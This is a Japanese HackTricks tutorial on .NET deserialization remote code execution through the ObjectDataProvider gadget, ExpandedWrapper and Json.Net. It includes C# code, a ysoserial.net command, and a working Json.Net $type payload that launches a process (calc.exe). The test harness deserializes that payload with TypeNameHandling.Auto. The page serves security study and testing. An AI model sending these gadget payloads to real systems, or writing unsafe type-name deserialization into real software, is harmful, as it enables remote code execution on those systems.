12 KiB
基本的な.NET逆シリアル化(ObjectDataProviderガジェット、ExpandedWrapper、およびJson.Net)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricks swagを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- **ハッキングのトリックを共有するには、hacktricks repoとhacktricks-cloud repo**にPRを提出してください。
この記事は、ObjectDataProviderガジェットを悪用してRCEを取得する方法と、そのガジェットを使用してSerializationライブラリであるJson.NetとxmlSerializerを悪用する方法を理解するために捧げられています。
ObjectDataProviderガジェット
ドキュメントによると:ObjectDataProviderクラスは、バインディングソースとして使用できるオブジェクトをラップおよび作成します。
はい、これは奇妙な説明ですので、このクラスが興味深いのは何を持っているか見てみましょう:このクラスは、任意のオブジェクトをラップし、_MethodParameters_を使用して任意のパラメータを設定し、その後、任意のパラメータを使用して宣言された任意のオブジェクトの任意の関数を呼び出すためにMethodNameを使用できます。
したがって、任意のオブジェクトは、逆シリアル化されながらパラメータを持つ関数を実行します。
これが可能な理由
ObjectDataProviderは、PresentationFramework.dll(C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF)にあるSystem.Windows.Data名前空間で定義および実装されています。
dnSpyを使用して、興味のあるクラスのコードを検査できます。以下の画像では、PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method nameのコードを見ています。
MethodName
が設定されると、base.Refresh()
が呼び出されることがわかります。それが何をするか見てみましょう:
では、this.BeginQuery()
が何をするのか見てみましょう。BeginQuery
はObjectDataProvider
によってオーバーライドされ、以下のようになります:
コードの最後でthis.QueryWorke(null)
を呼び出していることに注意してください。これが実行するものを見てみましょう:
QueryWorker
関数の完全なコードではありませんが、興味深い部分が表示されています:コードはthis.InvokeMethodOnInstance(out ex);
を呼び出していることがわかります。これは、設定されたメソッドが呼び出される行です。
MethodName
を設定するだけで実行されることを確認したい場合は、次のコードを実行できます:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
注意してください。System.Windows.Data
をロードするために、参照として_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_を追加する必要があります。
ExpandedWrapper
前の攻撃を使用すると、オブジェクトが_ObjectDataProvider_のインスタンスとしてデシリアライズされる場合があります(たとえば、DotNetNukeの脆弱性では、XmlSerializerを使用してオブジェクトがGetType
を使用してデシリアライズされました)。その後、_ObjectDataProvider_インスタンスにラップされたオブジェクトの型に関する情報がない場合があります(例えば、Process
)。DotNetNukeの脆弱性に関する詳細はこちらを参照してください。
このクラスは、指定されたインスタンスにカプセル化されたオブジェクトのオブジェクト型を指定することができます。したがって、このクラスは、ソースオブジェクト(ObjectDataProvider)を新しいオブジェクト型にカプセル化し、必要なプロパティ(ObjectDataProvider.MethodName_および_ObjectDataProvider.MethodParameters)を提供するために使用できます。
これは、前述のようなケースに非常に便利です。なぜなら、_ObjectDataProviderを_ExpandedWrapperのインスタンスにラップし、このクラスをデシリアライズすると、_MethodName_で指定された関数を実行する_ObjectDataProvider_オブジェクトが作成されるからです。
次のコードでこのラッパーを確認できます:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
公式ウェブページには、このライブラリを使用してJson.NETの強力なJSONシリアライザを使用して、任意の.NETオブジェクトをシリアライズおよびデシリアライズできると記載されています。したがって、ObjectDataProviderガジェットをデシリアライズできれば、オブジェクトをデシリアライズするだけでRCEを引き起こすことができます。
Json.Netの例
まず、このライブラリを使用してオブジェクトをシリアライズ/デシリアライズする方法の例を見てみましょう:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Json.Netの悪用
ysoserial.netを使用して、以下のエクスプロイトを作成しました:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
このコードでは、エクスプロイトをテストすることができます。実行すると、calcが実行されることがわかります。
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- **ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。